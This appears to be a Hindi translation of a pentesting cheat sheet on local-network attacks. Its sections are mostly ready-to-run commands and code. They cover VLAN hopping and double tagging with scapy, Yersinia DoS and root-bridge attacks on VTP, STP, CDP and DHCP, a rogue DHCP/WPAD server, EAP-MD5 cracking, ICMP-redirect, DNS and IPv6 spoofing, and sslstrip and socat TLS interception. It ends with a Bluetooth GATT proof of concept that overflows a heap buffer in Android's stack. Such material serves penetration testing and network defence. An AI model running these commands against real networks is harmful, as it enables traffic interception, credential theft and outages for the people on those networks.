root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

वर्णित हमला Dynamic Trunking and creating virtual interfaces an discovering hosts inside other VLANs को टूल द्वारा स्वचालित रूप से निष्पादित किया जाता है: https://github.com/nccgroup/vlan-hopping—frogger

Double Tagging

यदि attacker को victim host का MAC, IP and VLAN ID of the victim host पता है, तो वह उसके निर्दिष्ट VLAN और victim के VLAN के साथ एक फ्रेम को double tag a frame करके एक पैकेट भेजने का प्रयास कर सकता है। चूँकि victim won’t be able to connect back with the attacker, इसलिए attacker के लिए सबसे अच्छा विकल्प communicate via UDP करना है ऐसे प्रोटोकॉल के साथ जो कुछ दिलचस्प क्रियाएँ कर सकें (जैसे SNMP)।

attacker का एक और विकल्प है कि वह TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (संभवतः इंटरनेट के माध्यम से) शुरू करे। फिर, attacker अपने दूसरे host पर sniff कर सकता है यदि उसे victim से कुछ packets प्राप्त होते हैं।

इस attack को करने के लिए आप scapy का उपयोग कर सकते हैं: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

यदि आपके पास उस switch तक पहुँच है जिससे आप सीधे जुड़े हैं, तो आप नेटवर्क के भीतर VLAN segmentation को bypass करने में सक्षम हैं। बस पोर्ट को trunk mode में बदलें (जिसे otherwise known as trunk भी कहा जाता है), target VLANs के IDs के साथ virtual interfaces बनाएं, और एक IP address कॉन्फ़िगर करें। आप पता dynamically (DHCP) से माँगने की कोशिश कर सकते हैं या इसे statically कॉन्फ़िगर कर सकते हैं। यह स्थिति पर निर्भर करता है।

Lateral VLAN Segmentation Bypass

Layer 3 Private VLAN Bypass

कुछ वातावरणों में, जैसे कि guest wireless networks, port isolation (जिसे private VLAN भी कहा जाता है) सेटिंग्स लागू की जाती हैं ताकि एक wireless access point से जुड़े क्लाइंट्स आपस में सीधे संवाद न कर सकें। हालांकि, एक तकनीक पहचानी गई है जो इन isolation उपायों को दरकिनार कर सकती है। यह तकनीक network ACLs की कमी या उनकी गलत configuration का फायदा उठाती है, जिससे IP packets को router के माध्यम से route करके उसी नेटवर्क पर मौजूद दूसरे क्लाइंट तक पहुँचाया जा सकता है।

हमला इस प्रकार किया जाता है कि एक ऐसा packet तैयार किया जाता है जिसमें destination client का IP address होता है पर router का MAC address इस्तेमाल किया गया होता है। इससे router गलती से उस packet को target client को आगे भेज देता है। यह तरीका Double Tagging Attacks में उपयोग किए गए उस दृष्टिकोण के समान है, जिसमें victim द्वारा पहुंच योग्य किसी host को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का शोषण करने के लिए किया जाता है।

Key Steps of the Attack:

1. Crafting a Packet: एक packet विशेष रूप से तैयार किया जाता है जिसमें target client का IP address शामिल होता है पर router का MAC address होता है।
2. Exploiting Router Behavior: तैयार किया गया packet router को भेजा जाता है, जो कि configuration के कारण उस packet को target client की ओर पुनर्निर्देशित कर देता है, जिससे private VLAN सेटिंग्स द्वारा प्रदान की गई isolation को bypass किया जा सकता है।

VTP Attacks

VTP (VLAN Trunking Protocol) VLAN management को केंद्रीकृत करता है। यह VLAN database की integrity बनाए रखने के लिए revision numbers का उपयोग करता है; किसी भी modification से यह नंबर increment होता है। Switches उन configurations को अपनाते हैं जिनके revision numbers अधिक होते हैं, और अपना VLAN database अपडेट कर लेते हैं।

VTP Domain Roles

• VTP Server: VLANs को manage करता है—create, delete, modify करता है। यह domain सदस्यों को VTP announcements broadcast करता है।
• VTP Client: VTP announcements प्राप्त करता है ताकि अपना VLAN database synchronize कर सके। इस role को लोकल VLAN configuration में बदलाव करने से रोका जाता है।
• VTP Transparent: VTP updates में शामिल नहीं होता लेकिन VTP announcements को forward करता है। VTP attacks से प्रभावित नहीं होता, और इसका revision number हमेशा शून्य रहता है।

VTP Advertisement Types

• Summary Advertisement: VTP server द्वारा हर 300 seconds में broadcast किया जाता है, और इसमें आवश्यक domain जानकारी होती है।
• Subset Advertisement: VLAN configuration changes के बाद भेजा जाता है।
• Advertisement Request: VTP client द्वारा Summary Advertisement का अनुरोध करने के लिए जारी किया जाता है, आमतौर पर जब वह higher configuration revision number detect करता है।

VTP vulnerabilities केवल trunk ports के माध्यम से ही exploit की जा सकती हैं क्योंकि VTP announcements केवल इन्हीं से circulate होते हैं। Post-DTP attack परिदृश्यों में हमला VTP की ओर बदल सकता है। Yersinia जैसे tools VTP attacks को आसान बना सकते हैं, जिनका उद्देश्य VLAN database को wipe out करना होता है, जिससे नेटवर्क प्रभावी रूप से बाधित हो जाता है।

नोट: यह चर्चा VTP version 1 (VTPv1) से संबंधित है।

yersinia -G # Launch Yersinia in graphical mode

In Yersinia के ग्राफ़िकल मोड में, VLAN database को purge करने के लिए ‘deleting all VTP vlans’ option चुनें।

STP Attacks

यदि आप अपने interfaces पर BPDU frames capture नहीं कर सकते, तो संभवतः आप किसी भी STP attack में सफल नहीं होंगे।

STP BPDU DoS

बहुत सारे BPDUs TCP (Topology Change Notification) या Conf (वे BPDUs जो topology बनने पर भेजे जाते हैं) भेजने से switches overloaded हो जाते हैं और वे सही ढंग से काम करना बंद कर देते हैं।

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

जब एक TCP भेजा जाता है, तो switches का CAM table 15s में हट जाता है। फिर, यदि आप इस तरह के packets लगातार भेजते रहते हैं, तो CAM table लगातार (या हर 15segs पर) restart होता रहेगा और जब यह restart होगा, तो switch hub की तरह व्यवहार करेगा

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

हमलावर एक स्विच के व्यवहार का अनुकरण करता है ताकि नेटवर्क का STP root बन जाए। फिर अधिक डेटा उसके माध्यम से गुजरने लगेगा। यह तब उपयोगी होता है जब आप दो अलग-अलग स्विच से जुड़े होते हैं.
यह BPDUs CONF packets भेजकर किया जाता है जो बताते हैं कि priority मान वर्तमान root switch की वास्तविक priority से कम है।

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

यदि हमलावर 2 स्विचों से जुड़ा है तो वह नई ट्री का root बन सकता है और उन स्विचों के बीच सारा ट्रैफ़िक उसके माध्यम से गुज़रेगा (a MITM attack will be performed).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Attacks

CISCO Discovery Protocol (CDP) CISCO डिवाइसों के बीच संचार के लिए आवश्यक है, जो उन्हें एक-दूसरे को पहचानने और कॉन्फ़िगरेशन विवरण साझा करने की अनुमति देता है।

Passive Data Collection

CDP को सभी पोर्ट्स के माध्यम से जानकारी ब्रॉडकास्ट करने के लिए कॉन्फ़िगर किया जाता है, जो सुरक्षा जोखिम पैदा कर सकता है। कोई हमलावर स्विच पोर्ट से कनेक्ट होकर network sniffers जैसे Wireshark, tcpdump, या Yersinia चला सकता है। यह कार्य नेटवर्क डिवाइस के बारे में संवेदनशील जानकारी उजागर कर सकता है, जैसे उसका मॉडल और जिस Cisco IOS वर्जन पर यह चलता है। तब हमलावर पहचाने गए Cisco IOS वर्जन में मौजूद विशिष्ट कमजोरियों को लक्षित कर सकता है।

Inducing CDP Table Flooding

एक अधिक आक्रामक तरीका स्विच की मेमोरी को ओवरव्हेल्म करके और वैध CISCO डिवाइस बनने का नाटक करते हुए Denial of Service (DoS) हमला शुरू करना है। नीचे Yersinia का उपयोग करके ऐसे हमले को शुरू करने के लिए कमांड अनुक्रम दिया गया है, जो परीक्षण के लिए डिज़ाइन किया गया एक network tool है:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

इस हमले के दौरान, स्विच का CPU और CDP neighbor table भारी रूप से बोझिल हो जाते हैं, जिससे अत्यधिक संसाधन खपत के कारण अक्सर “network paralysis” कहा जाता है।

CDP Impersonation Attack

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP Attacks and the VoIP Hopper Tool

VoIP phones, जो धीरे-धीरे IoT devices के साथ एकीकृत हो रहे हैं, विशेष फोन नंबरों के जरिए दरवाज़े खोलने या thermostats नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। लेकिन यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है।

The tool voiphopper is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network’s VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.

VoIP Hopper offers three modes for the Cisco Discovery Protocol (CDP):

1. Sniff Mode (-c 0): नेटवर्क पैकेट्स का विश्लेषण कर VLAN ID पहचानता है।
2. Spoof Mode (-c 1): वास्तविक VoIP device के पैकेट्स की नकल करते हुए कस्टम packets जनरेट करता है।
3. Spoof with Pre-made Packet Mode (-c 2): किसी विशिष्ट Cisco IP phone मॉडल के पैकेट्स के समान packets भेजता है।

The preferred mode for speed is the third one. It requires specifying:

• एटैकर का network interface (-i parameter)।
• नकल किए जा रहे VoIP device का नाम (-E parameter), Cisco naming format का पालन करते हुए (उदा., SEP के बाद MAC address)।

In corporate settings, to mimic an existing VoIP device, one might:

• फोन पर लगे MAC लेबल को जाँचें।
• फोन की display settings में जाकर मॉडल जानकारी देखें।
• VoIP device को laptop से कनेक्ट करें और Wireshark का उपयोग करके CDP requests को देखें।

An example command to execute the tool in the third mode would be:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP Attacks

Enumeration

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

DoS के दो प्रकार DHCP servers के खिलाफ किए जा सकते हैं। पहला तरीका है कि पर्याप्त fake hosts को simulate करके सभी संभावित IP addresses का उपयोग कर लिया जाए।
यह हमला तभी काम करेगा जब आप DHCP server की प्रतिक्रियाएँ देख सकें और प्रोटोकॉल पूरा कर सकें (Discover (Comp) –> Offer (server) –> Request (Comp) –> ACK (server)). उदाहरण के लिए, यह Wifi networks में संभव नहीं है।

DHCP DoS करने का एक और तरीका है कि DHCP-RELEASE packet को स्रोत के रूप में हर संभव IP का उपयोग करके भेजा जाए। फिर, सर्वर सोच लेगा कि सभी ने IP का उपयोग खत्म कर दिया है।

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

A more automatic way of doing this is using the tool DHCPing

You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, you can server malicious values mentioned in the next attack.

हानिकारक मान सेट करें

A rogue DHCP server can be set up using the DHCP script located at /usr/share/responder/DHCP.py. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack.

Below are the command options for configuring the rogue DHCP server:

• Our IP Address (Gateway Advertisement): Use -i 10.0.0.100 to advertise your machine’s IP as the gateway.
• Local DNS Domain Name: Optionally, use -d example.org to set a local DNS domain name.
• Original Router/Gateway IP: Use -r 10.0.0.1 to specify the IP address of the legitimate router or gateway.
• Primary DNS Server IP: Use -p 10.0.0.100 to set the IP address of the rogue DNS server you control.
• Secondary DNS Server IP: Optionally, use -s 10.0.0.1 to set a secondary DNS server IP.
• Netmask of Local Network: Use -n 255.255.255.0 to define the netmask for the local network.
• Interface for DHCP Traffic: Use -I eth1 to listen for DHCP traffic on a specific network interface.
• WPAD Configuration Address: Use -w “http://10.0.0.100/wpad.dat” to set the address for WPAD configuration, assisting in web traffic interception.
• Spoof Default Gateway IP: Include -S to spoof the default gateway IP address.
• Respond to All DHCP Requests: Include -R to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.

By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP Attacks

यहाँ 802.1X implementations के खिलाफ उपयोग की जा सकने वाली कुछ attack tactics दिए गए हैं:

• EAP के माध्यम से Active brute-force पासवर्ड क्रैकिंग
• गलत स्वरूप के EAP कंटेंट के साथ RADIUS सर्वर पर हमला **(exploits)
• EAP संदेश कैप्चर और ऑफ़लाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP)
• TLS certificate validation को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को जबरदस्ती लागू करना
• hub या समान का उपयोग करके प्रमाणीकृत होने पर हानिकारक नेटवर्क ट्रैफ़िक इंजेक्ट करना

यदि attacker victim और authentication server के बीच है, तो वह (आवश्यक होने पर) authentication protocol को EAP-MD5 तक degrade करने और authentication attempt को capture करने की कोशिश कर सकता है। फिर वह इसे brute-force करने की कोशिश कर सकता है using:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Attacks

FHRP (First Hop Redundancy Protocol) नेटवर्क प्रोटोकॉल का एक वर्ग है जिसे एक हॉट redundant routing सिस्टम बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, physical routers को एक single logical device में मिलाया जा सकता है, जिससे fault tolerance बढ़ता है और load का वितरण आसान होता है।

Cisco Systems engineers ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।

GLBP & HSRP Attacks

RIP

Routing Information Protocol (RIP) के तीन संस्करण मौजूद हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 UDP का उपयोग करके port 520 पर peers को datagrams भेजते हैं, जबकि RIPng IPv6 multicast के माध्यम से UDP port 521 पर datagrams broadcast करता है। RIPv2 में MD5 authentication का समर्थन जारी किया गया था। दूसरी ओर, RIPng में native authentication शामिल नहीं है; यह IPv6 में optional IPsec AH और ESP headers पर निर्भर करता है।

• RIP and RIPv2: संचार UDP datagrams के माध्यम से port 520 पर किया जाता है।
• RIPng: IPv6 multicast के माध्यम से datagrams को broadcast करने के लिए UDP port 521 का उपयोग करता है।

ध्यान दें कि RIPv2 MD5 authentication का समर्थन करता है जबकि RIPng में native authentication नहीं है और यह IPv6 में IPsec AH और ESP headers पर निर्भर करता है।

EIGRP Attacks

EIGRP (Enhanced Interior Gateway Routing Protocol) एक dynamic routing protocol है। यह एक distance-vector protocol है। यदि authentication और passive interfaces को कॉन्फ़िगर नहीं किया गया है, तो एक intruder EIGRP routing में हस्तक्षेप कर सकता है और routing tables poisoning कर सकता है। इसके अलावा, EIGRP network (यानि autonomous system) flat होता है और किसी zone में segmentation नहीं होता। यदि एक attacker कोई route inject करता है, तो यह संभावना है कि यह route पूरे autonomous EIGRP सिस्टम में फैल जाएगा।

EIGRP सिस्टम पर हमला करने के लिए एक legitimate EIGRP router के साथ neighbourhood स्थापित करना आवश्यक है, जो basic reconnaissance से लेकर विभिन्न injections तक कई संभावनाओं को खोलता है।

FRRouting आपको एक virtual router लागू करने की अनुमति देता है जो BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल को सपोर्ट करता है। बस इसे अपने attacker’s system पर deploy करें और आप routing domain में एक legitimate router होने का नाटक कर सकते हैं।

EIGRP Attacks

Coly के पास EIGRP broadcasts को intercept करने की क्षमताएँ हैं। यह packets inject करने की भी अनुमति देता है, जिसे routing configurations बदलने के लिए उपयोग किया जा सकता है।

OSPF

Open Shortest Path First (OSPF) प्रोटोकॉल में routers के बीच सुरक्षित संचार सुनिश्चित करने के लिए MD5 authentication सामान्यतः उपयोग किया जाता है। हालाँकि, इस सुरक्षा उपाय को Loki और John the Ripper जैसे उपकरणों से तोड़ा जा सकता है। ये टूल MD5 hashes को capture और crack करने में सक्षम हैं, जिससे authentication key उजागर हो जाती है। एक बार यह key मिल जाने पर, इसे नए routing information को introduce करने के लिए उपयोग किया जा सकता है। route parameters को configure करने और compromised key को सेट करने के लिए क्रमशः Injection और Connection tabs का उपयोग किया जाता है।

• Capturing and Cracking MD5 Hashes: इसके लिए Loki और John the Ripper जैसे टूल्स प्रयोग किए जाते हैं।
• Configuring Route Parameters: यह Injection tab के माध्यम से किया जाता है।
• Setting the Compromised Key: यह key Connection tab के अंतर्गत कॉन्फ़िगर की जाती है।

Other Generic Tools & Sources

• Above: Tool to scan network traffic and find vulnerabilities
• You can find some more information about network attacks here.

Spoofing

attacker नए नेटवर्क सदस्य के सभी network parameters (GW, IP, DNS) को कॉन्फ़िगर करता है और नकली DHCP responses भेजकर ऐसा करता है।

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

देखें previous section.

ICMPRedirect

ICMP Redirect में एक ICMP packet type 1 code 5 भेजा जाता है, जो संकेत देता है कि attacker किसी IP तक पहुँचने का सबसे अच्छा रास्ता है। जब victim उस IP से संपर्क करना चाहता है, तो वह उस पैकेट को attacker के माध्यम से भेजेगा।

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

attacker कुछ (या सभी) domains को resolve करेगा जिन्हें victim मांगता है।

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasq के साथ अपना DNS कॉन्फ़िगर करें

apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1   domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

स्थानीय गेटवे

सिस्टम और नेटवर्क तक अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC addresses की एक सूची बनाने के बाद, gateway-finder.py का उपयोग उन hosts की पहचान करने के लिए करें जो IPv4 forwarding का समर्थन करते हैं।

</details>


### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

जब DNS लुकअप असफल होते हैं तब लोकल होस्ट रिज़ॉल्यूशन के लिए Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** इम्प्लीमेंटेशन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल्स का बिना प्रमाणीकरण का स्वभाव और UDP पर ब्रॉडकास्ट संदेशों के रूप में इनका संचालन होने के कारण, इन्हें उन attackers द्वारा शोषित किया जा सकता है जो उपयोगकर्ताओं को malicious services की ओर रीडायरेक्ट करना चाहते हैं।

आप Responder का उपयोग करके उन services का impersonate कर सकते हैं जिन्हें hosts खोज रहे हैं और fake responses भेज सकते हैं।\
इस बारे में अधिक जानकारी पढ़ें: [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Browsers आमतौर पर **Web Proxy Auto-Discovery (WPAD) protocol** का उपयोग proxy settings स्वचालित रूप से प्राप्त करने के लिए करते हैं। इसके तहत सर्वर से configuration details लाना शामिल है, विशेषकर ऐसे URL के माध्यम से जैसे "http://wpad.example.org/wpad.dat"। क्लाइंट द्वारा इस सर्वर की खोज कई तरीकों से हो सकती है:

- **DHCP** के माध्यम से, जहाँ खोज एक विशेष code 252 entry का उपयोग करके सुगम होती है।
- **DNS** द्वारा, जो स्थानीय डोमेन में _wpad_ लेबल वाले hostname की खोज से जुड़ा होता है।
- **Microsoft LLMNR and NBT-NS** के माध्यम से, जो उन मामलों में उपयोग होने वाले fallback mechanisms हैं जहाँ DNS लुकअप सफल नहीं होते।

Tool Responder इस प्रोटोकॉल का फायदा उठाकर एक malicious WPAD server के रूप में काम करता है। यह क्लाइंट्स को इसके साथ connect करने के लिए mislead करने के लिए **DHCP**, **DNS**, **LLMNR**, और **NBT-NS** का उपयोग करता है। अधिक जानने के लिए कि कैसे services को Responder से impersonate किया जा सकता है [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)

आप नेटवर्क में विभिन्न services ऑफर कर सकते हैं ताकि उपयोगकर्ता को **trick** करके कुछ **plain-text credentials** दर्ज करने के लिए प्रेरित किया जा सके। इस attack के बारे में अधिक जानकारी [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md) में उपलब्ध है।

IPv6 Neighbor Spoofing

यह attack ARP Spoofing के बहुत समान है लेकिन IPv6 दुनिया में। आप victim को यह सोचने पर मजबूर कर सकते हैं कि GW का IPv6 attacker के MAC का उपयोग कर रहा है।
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

</details>


### सक्रिय खोज नोट्स

ध्यान रखें कि जब किसी डिवाइस को UDP packet भेजा जाता है और उस डिवाइस पर अनुरोधित पोर्ट मौजूद नहीं होता, तो एक ICMP (Port Unreachable) भेजा जाता है।

### **ARP खोज**

ARP packets का उपयोग नेटवर्क के भीतर किन IPs का उपयोग हो रहा है यह पता करने के लिए किया जाता है। पीसी को प्रत्येक संभावित IP address के लिए एक अनुरोध भेजना पड़ता है और केवल वही जवाब देंगे जो उपयोग में हैं।

### **mDNS (multicast DNS)**

Bettercap एक MDNS request भेजता है (प्रत्येक X ms) जो **\_services\_.dns-sd.\_udp.local** के लिए पूछता है। जो मशीन यह packet देखती है वह आमतौर पर इस request का उत्तर देती है। फिर यह केवल उन मशीनों की खोज करता है जो "services" का उत्तर देती हैं।

**उपकरण**

- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder

### **NBNS (NetBios Name Server)**

Bettercap पोर्ट 137/UDP पर ब्रॉडकास्ट पैकेट भेजता है और नाम "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" के लिए पूछता है।

### **SSDP (Simple Service Discovery Protocol)**

Bettercap SSDP पैकेट ब्रॉडकास्ट करता है जो सभी प्रकार की सेवाओं की खोज करते हैं (UDP Port 1900)।

### **WSD (Web Service Discovery)**

Bettercap WSD पैकेट ब्रॉडकास्ट करता है जो सेवाओं की खोज करते हैं (UDP Port 3702)。


## Bluetooth (L2CAP/ATT/GATT) हमले

- Android Fluoride L2CAP PSMs पर services एक्सपोज़ करता है (e.g., SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F)। Services निम्नलिखित के माध्यम से रजिस्टर होते हैं:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);

acl  = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl  = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt  = b'\x20'  # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite